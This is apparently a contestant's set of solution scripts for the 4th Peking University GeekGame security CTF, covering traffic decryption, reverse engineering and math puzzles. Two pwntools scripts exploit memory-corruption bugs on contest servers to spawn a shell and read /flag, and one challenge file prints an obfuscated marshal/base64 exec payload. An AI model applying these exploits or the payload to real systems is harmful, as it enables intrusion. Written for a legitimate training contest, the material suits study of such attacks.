第四届北京大学信息安全综合能力竞赛个人题解

import base64


code = "amtj=78e1VY=4CdkNO=77Um5h=58b1d6=70S0hk=6EZlJE=61bkdJ=41U3Z6=6BY30="

output = ""

i = 0
while i < len(code):
  if code[i] == "=" and i + 3 < len(code):
    output += chr(int(code[i + 1 : i + 3], 16))
    i += 3
  else:
    output += base64.b64decode(code[i : i + 4]).decode()
    i += 4

print(output)

import os

from scapy.all import rdpcap

os.chdir(os.path.dirname(__file__))

packets = rdpcap("WLAN.pcap")
writers = {}

for packet in packets:
  if not packet.haslayer("IP") or not packet["IP"].src == "192.168.137.1":
    continue

  if not packet.haslayer("UDP") or not 47990 <= packet["UDP"].sport <= 48000:
    continue

  sport = packet["UDP"].sport
  dport = packet["UDP"].dport

  if sport not in writers:
    writers[sport] = open(f"{sport}.bin", "wb")

  writers[sport].write(packet["UDP"].load)

for port in writers:
  writers[port].close()

import os
import struct
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

RIKEY = bytes.fromhex("F3CB8CFA676D563BBEBFC80D3943F10A")
RIKEYID = 1485042510


os.chdir(os.path.dirname(__file__))
with open("03-filtered.pcap", "rb") as reader:
  pcap_bytes = reader.read()

writer = open("03-decrypted.pcap", "wb")

header = pcap_bytes[:24]
writer.write(header)
pos = 24
while pos < len(pcap_bytes):
  time, time_ns, length, orig_length = struct.unpack("<IIII", pcap_bytes[pos : pos + 16])
  raw_bytes = pcap_bytes[pos + 16 : pos + 16 + length]

  _, typ, seq = struct.unpack(">BBH", raw_bytes[0x2A:0x2E])

  if not typ == 97:
    continue

  encrypted = raw_bytes[0x36:]
  iv = (
    struct.pack(">i", RIKEYID + seq) + b"\x00" * 12
  )  # https://github.com/LizardByte/Sunshine/blob/190ea41b2ea04ff1ddfbe44ea4459424a87c7d39/src/stream.cpp#L1516
  cipher = AES.new(RIKEY, AES.MODE_CBC, iv)

  decrypted = unpad(cipher.decrypt(encrypted), 16)
  writer.write(struct.pack("<IIII", time, time_ns, len(decrypted) + 0x36, len(decrypted) + 0x36))
  writer.write(pcap_bytes[pos + 16 : pos + 16 + 0x36] + decrypted)
  pos = pos + 16 + length

import os
import re

os.chdir(os.path.dirname(__file__))

KEY_PATTERN = re.compile(r"\|0\|(.)(.)(.)(.)(.)(.)(.)(.)\|")
output_bytes = bytearray()

with open("tas1.fm2", "r", -1, "utf8") as reader:
  lines = reader.read().splitlines()

for line in lines:
  if not line.startswith("|"):
    continue

  right, left, down, up, start, select, b, a = KEY_PATTERN.match(line).groups()
  byte = 0
  for key in (right, left, down, up, start, select, b, a):
    if key != ".":
      byte |= 1
    byte <<= 1

  byte >>= 1
  output_bytes.append(byte)

for i in range(20):
  output_bytes.append(0)

with open("tas1.bin", "wb") as writer:
  writer.write(output_bytes[1:])

import os
import re

os.chdir(os.path.dirname(__file__))

with open("02.html", "r", -1, "utf8") as reader:
  text = reader.read()

STYLE_PATTERN = re.compile(r"#(chunk-.+?)::(before|after)\s*\{\s*content:\s*(.+?)\s*\}")
ATTR_PATTERN = re.compile(r"attr\((data-.+?)\)")
SPAN_PATTERN = re.compile(r'<span class="chunk" id="(chunk-.+?)" (.+?)>兄弟你好香</span>', re.DOTALL)
DATA_PATTERN = re.compile(r'(data-.+?)="(.+?)"')

content_dict = {}

for id, position, content in STYLE_PATTERN.findall(text):
  content_dict[id] = content_dict.get(id, {})
  content_dict[id][position] = ATTR_PATTERN.findall(content)

for id, data in SPAN_PATTERN.findall(text):
  content = content_dict[id]
  data_dict = dict(DATA_PATTERN.findall(data))
  for position in ["before", "after"]:
    if position not in content:
      continue

    for attr in content_dict[id][position]:
      print(data_dict.get(attr, ""), end="")

print()

import marshal
import random
import base64
if random.randint(0, 65535) == 54830:
    exec(marshal.loads(base64.b64decode(b'YwAAAAAAAAAAAAAAAAAAAAAFAAAAQAAAAHMwAAAAZABaAGUBZAGDAWUCZQNkAoMBZAODAmUCZQNkBIMBZAWDAmUAgwGDAYMBAQBkBlMAKQdztAQAAGVKekZWMTFQMnpBVWZhL1UvMkN5bDBSanlCV3NiR2g3R0N2ZFlCMHBHNkFGeEt5MGRkdWdORUg1Z0VRVC8zMTIzQ1NPN1RSdDBiUlVhdFBjYzI5OGo0K3ZyNTNGZ3g5RUlMQzlpYjlvdHh6MmQyU0h1SHZRYnJWYnI4RFV0V2NkOEJGbzlPWlA2c2ZvVTdDUG9xOG42THY5OHhJSHlPeWpvWFU0aDk2elJqM2FyYkZyaHlHd0oyZGZnc3RmcG5WKzFHNEJjazN3RkNEa2VFNkVrRjVZaDd2QUpGZjJEWTBsbEY0bFlvOEN5QWpvVDUwZE1qdXNzVVBxZis1N1dHMkhacE1kRm5aRmhxUFZHZFprZFVvdUxtb2VvSXhhSWFtNDkvbHdUM1BIeFp5TnBickRvbkk0ZWpsVEViZ2tSb21XUENoTzhpZkVLZnlFUkl0YlR4Y0NHTEl2ZGtQVlVPcENYamVFeEM1SlFwZmpOZWVsOFBFbUV0VXFaM1VFUTVIVldpVFZNYlVOdzF2VEFWOU1COXlPRG1tQ042SGpuNm5qNVhSc3FZNm1qT3I4bW9XaFhIYmJydUoxaDY0b2U5ZVZzcGZ3eEtTa1hDWUMvVWxlblZPQlZUS3o3RkZOT1dUR2ZHOUl1TGNVejdLYlNzUmtWY21VYTN0YUFqS3BKZFF6cWEyZG5FVjBsbWFueE1JcU5zMzlrd3BKTEtWVVNibTNCdVdtUUxtWlV3NWx5dUVxeXVGL3BSeXVTK05LeWswRjVYQWp5cE5OT2lCU2hiaDJTdWZRQ25ETWd4a3RKVXJaQ1FsTlJGd3plMHZmRWllMUYxbWY5b0ZEWkozYnFySlNHV3lzcUl0TmRVa09vR29CODNJTUpIVnRwSzB5bmlDeVplTExBaStsek10R0hVTktrbGVseWtWVllMbUcwVGRZbzFyUjNBVnZYNzR2SlBGSG1zYitWUHM5V1FVaGVFM1FhWVJEL2JiQ0xSbm03K1VaWW8vK09GNmt3MTBBazM3ZnVET0VBTXJ4WlBTc2pjeUZIK0FvRGp3UUtwSk5TNWY3UEZtMWF1NjVOU0t0anpYV3hvcDFRUWlWV2VrWVZIQmlJVnB2U1NpVTByd1V1RXc1clJRN3NFQmNUNWZvdXVjamovUmkzeTZlelFuQThSN2lTTmVHTGlhSFI0QzlDQWNnbXVQcy9IZ0V0TUtKY09KaWJzZVpHNVRUL1M2WDFrTkFxZEl1Z3hUWU05dnhkalJPR1d6T1pjSE9iNC9lM3RGUTdLQ3FBVC9nalc4NnpQaXNiZm9pOW1US2h4dVFiTG5ncXByTmNaM29uQWo4aFc3c2tyRk5TZ1lHaHNHL0JkSGdCRHJET2t3NlVMMGxWT1F0elljRDFJdUhTZDBRMEZlMEJtUW4vcjFSOTJDQ3gvNEU2OXJoeWRqOVlRMVB6YkQzT0lpdGI3M2hZSGpqd0xQUndEcCtQN3J3MzMyKzZibjl4NmRqQ3g2T3crNXBUaDAvSjA2bEE3NlNtYmY4R016OHFCREtmakVEZ3RLVk0wVS9EajF5ZS9ZQ0kwUmZwaUcwSUdhRU5GSEVQYXJidjV1T0tGVT3aBGV4ZWPaBHpsaWLaCmRlY29tcHJlc3PaBmJhc2U2NNoJYjY0ZGVjb2RlTikE2gRjb2Rl2gRldmFs2gdnZXRhdHRy2gpfX2ltcG9ydF9fqQByCQAAAHIJAAAA2gDaCDxtb2R1bGU+AQAAAHMKAAAABAEGAQwBEP8C/w==')))
    return None

import random
import base64

# flag1 = "flag{you_Ar3_tHE_MaSTer_OF_PY7h0n}"

...

...

random.seed("flag2 = flag{wElc0me_tO_THe_w0RlD_OF_pYtHON}")
assert random.randint(0, 65535) == 54830

tree = Tree()
flag = "flag{0123456789ABCDEFGHIJKLMNOPQRST}"

for char in flag:
  tree.insert(random.random(), ord(char))

for _ in range(0x100):
  edit_tree(tree)

my_result = tree_to_bytes(tree.root)
true_result = base64.b64decode("7EclRYPIOsDvLuYKDPLPZi0JbLYB9bQo8CZDlFvwBY07cs6I")

tree_bytes = print_tree(tree.root)
indexes = [flag.index(chr(i)) for i in tree_bytes]
xor_result = bytes([a ^ b ^ c for a, b, c in zip(tree_bytes, my_result, true_result)])
new_flag = list(flag)
for i, index in enumerate(indexes):
  new_flag[index] = chr(xor_result[i])
print("".join(new_flag))

from pwn import *

conn = remote("prob12.geekgame.pku.edu.cn", 10012)
conn.recvuntil(b"Please input your token: ")
conn.send(b"<MY TOKEN>\n")
conn.recvuntil(b">>")
conn.send(b"1\n")
conn.recvuntil(b"node key:")
conn.send(b"0\n")
conn.recvuntil(b"size of the data:")
conn.send(b"488\n")
conn.recvuntil(b"data:")
conn.send(p64(0x401243) * 64 + b"\n")
conn.recvuntil(b">>")
conn.send(b"4\n")
conn.send(b"cat /flag\n")
line = conn.recvline().decode()
while not line.startswith("flag{"):
  line = conn.recvline().decode()
print(line)
conn.close()

from pwn import *

conn = remote("prob13.geekgame.pku.edu.cn", 10013)
conn.recvuntil(b"Please input your token: ")
conn.send(b"<MY TOKEN>\n")
conn.recvuntil(b">>")
conn.send(b"1\n")
conn.recvuntil(b"node key:")
conn.send(b"0\n")
conn.recvuntil(b"size of the data:")
conn.send(b"8\n")
conn.recvuntil(b"data:")
conn.send(b"/bin/sh\0\n")
conn.recvuntil(b">>")
conn.send(b"1\n")
conn.recvuntil(b"node key:")
conn.send(b"1\n")
conn.recvuntil(b"size of the data:")
conn.send(b"8\n")
conn.recvuntil(b"data:")
conn.send(b"/bin/sh\0\n")
conn.recvuntil(b">>")
conn.send(b"3\n")
conn.recvuntil(b"want to edit:")
conn.send(b"1\n")
conn.recvuntil(b"want to edit:")
conn.send(b"-104\n")
conn.recvuntil(b"data:")
conn.send(p64(0x4010e0) + b"\n")
conn.recvuntil(b">>")
conn.send(b"3\n")
conn.recvuntil(b"want to edit:")
conn.send(b"0\n")
conn.send(b"cat /flag\n")
line = conn.recvline().decode()
while not line.startswith("flag{"):
  line = conn.recvline().decode()
print(line)
conn.close()

import os
import random

os.chdir(os.path.dirname(__file__))


class Edge:
  def __init__(self, start, end, weight):
    self.start = start
    self.end = end
    self.weight = weight


random.seed(114514)
n, m = 20, 100

v: list[Edge] = []

for i in range(1, n + 1):
  for j in range(1, m + 1):
    if j != m:
      v.append(Edge((i - 1) * m + j, (i - 1) * m + j + 1, random.randint(1, 100000)))
      v.append(Edge((i - 1) * m + j + 1, (i - 1) * m + j, random.randint(1, 100000)))
    if i != n:
      v.append(Edge((i - 1) * m + j, i * m + j, 1))
      v.append(Edge(i * m + j, (i - 1) * m + j, 1))

random.shuffle(v)

with open("01.txt", "w") as f:
  f.write(f"{n * m} {len(v)} 1 {n * m}\n")

  for edge in v:
    f.write(f"{edge.start} {edge.end} {edge.weight}\n")

import gzip
import io
import os
import random

from pyflate import RBitfield, gzip_main


os.chdir(os.path.dirname(__file__))

CHARACTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"

random.seed(114514)
input = [ord(c) ^ 27 for c in CHARACTERS * 4]
random.shuffle(input)

text = gzip.compress(bytes(input))

reader = io.BytesIO(text)
field = RBitfield(reader)

magic = field.readbits(16)
assert magic == 0x1F8B
output = gzip_main(field)

assert bytes(output) == bytes(input)

import random
import gzip

from helper import CHARACTERS, byte_to_bits, bits_to_byte, CHARACTERS, HUFFMAN_TREE


欢愉 = b"\x17[What can I say? Mamba out! --KobeBryant]"
header = ""

bit_array = []

for byte in 欢愉:
  bits = byte_to_bits(byte)
  bit_array.extend(bits)

for i in range(5, len(bit_array), 6):
  bits = bit_array[i : i + 6]
  byte = bits_to_byte(bits)
  header += chr(HUFFMAN_TREE[str(byte)] ^ 27)


body = ""
char_counts = [header.count(_) for _ in CHARACTERS]
for char, count in zip(CHARACTERS, char_counts):
  body += char * (4 - count)

body = list(body)
random.seed(114514)
random.shuffle(body)
text_after = header + "".join(body)

text_len = len(text_after)
after = list(range(text_len))
random.seed("12345")
random.shuffle(after)

text_before = [0 for _ in range(text_len)]
for i, j in enumerate(after):
  text_before[j] = text_after[i]

text = [ord(c) ^ 27 for c in text_before]
random.seed("12345")
random.shuffle(text)

text = gzip.compress(bytes(text))

print("Before processing:")
print("".join(text_before))
print("After processing:")
print(text)

import gzip
import random

from helper import average_bit_count, CHARACTERS, HUFFMAN_TREE

seed = 0
while True:
  虚无 = [0, 1, 2, 4, 8, 16, 32, 3, 5, 6, 9, 10, 12, 17, 18, 20, 24, 33, 34, 36, 40, 48, 7, 11, 13] * 13
  random.seed(seed)
  random.shuffle(虚无)

  header = ""
  bit_array = []

  for byte in 虚无:
    header += chr(HUFFMAN_TREE[str(byte)] ^ 27)

  body = ""
  char_counts = [header.count(_) for _ in CHARACTERS]
  max_charcount = max(char_counts)
  print(max_charcount)
  for char, count in zip(CHARACTERS, char_counts):
    body += char * (15 - count)

  body = list(body)
  random.seed(114514)
  random.shuffle(body)
  text_after = "".join(header) + "".join(body)

  text_len = len(text_after)
  after = list(range(text_len))
  random.seed("12345")
  random.shuffle(after)

  text_before = [0 for _ in range(text_len)]
  for i, j in enumerate(after):
    text_before[j] = text_after[i]

  text = [ord(c) ^ 27 for c in text_before]
  random.seed("12345")
  random.shuffle(text)

  text = gzip.compress(bytes(text))

  print("Before processing:")
  print("".join(text_before))
  prefix = (text + b"\xff" * 256)[:256]
  print("Prefix:")
  print(prefix)
  print(average_bit_count(prefix))

  if average_bit_count(prefix) < 2.49:
    break

  seed += 1

import os
import time

from pwn import *

os.chdir(os.path.dirname(__file__))

for t in range(0x10):
  conn = remote("prob15.geekgame.pku.edu.cn", 10015)
  conn.recvuntil(b"Please input your token: ")
  conn.send(b"<MY TOKEN>\n")

  writer = open(f"task1-{t:02d}.txt", "w", -1, "utf8", None, "\n")

  for i in range(0x100):
    line = conn.recvline().decode()
    if line:
      writer.write(line)
      writer.flush()
      conn.send(b"\n")
  
  conn.close()
  writer.close()
  time.sleep(10)

import os

os.chdir(os.path.dirname(__file__))

diff_list = [[] for _ in range(0x100)]

for t in range(0x10):
  reader = open(f"task1-{t:02d}.txt", "r", -1, "utf8")
  lines = reader.read().splitlines()
  ints = [int(line) for line in lines if line]
  for i, value in enumerate(ints):
    if i < 31:
      continue

    diff = (ints[i - 31] + ints[i - 3]) % 2147483648 - ints[i]
    diff_list[i].append(diff)

with open("diff.txt", "w", -1, "utf8", None, "\n") as writer:
  for i, diffs in enumerate(diff_list):
    if not diffs:
      continue
    writer.write(f"{i}\t{max(diffs)}\n")
    writer.flush()

expr = "0**(509**(n-1)%n-1)*0**(503**(n-1)%n-1)"
assert len(set(expr) - set("n+-*/%()0123456789")) == 0
fun = eval(f"lambda n: {expr}", {}, {})

primes = list(range(2, 500))
for j in primes[:]:
  primes = [i for i in primes if i <= j or i % j != 0]

for i in range(2, 500):
  if fun(i) != int(i in primes):
    print(i, fun(i), int(i in primes))

level = 2
expr = "(((1+2**(1/2))**(n-1))/8**(1/2)+1/2)//1"
fun = eval(f"lambda n: {expr}", {}, {})

a, b = 0, 1
maxn = 200 if level == 3 else 40
for n in range(1, maxn):
  res = fun(n)
  if res != a:
    print(n, res, a)
 
  if level == 3:
    assert isinstance(res, int)
  a, b = b, a + 2 * b

level = 3
expr = "8**(n*(n-1))//(64**(n-1)-2*8**(n-1)-1)%8**(n-1)"
fun = eval(f"lambda n: {expr}", {}, {})

a, b = 0, 1
maxn = 200 if level == 3 else 40
for n in range(1, maxn):
  res = fun(n)
  if res != a:
    print(n, res, a)

  if level == 3:
    assert isinstance(res, int)
  a, b = b, a + 2 * b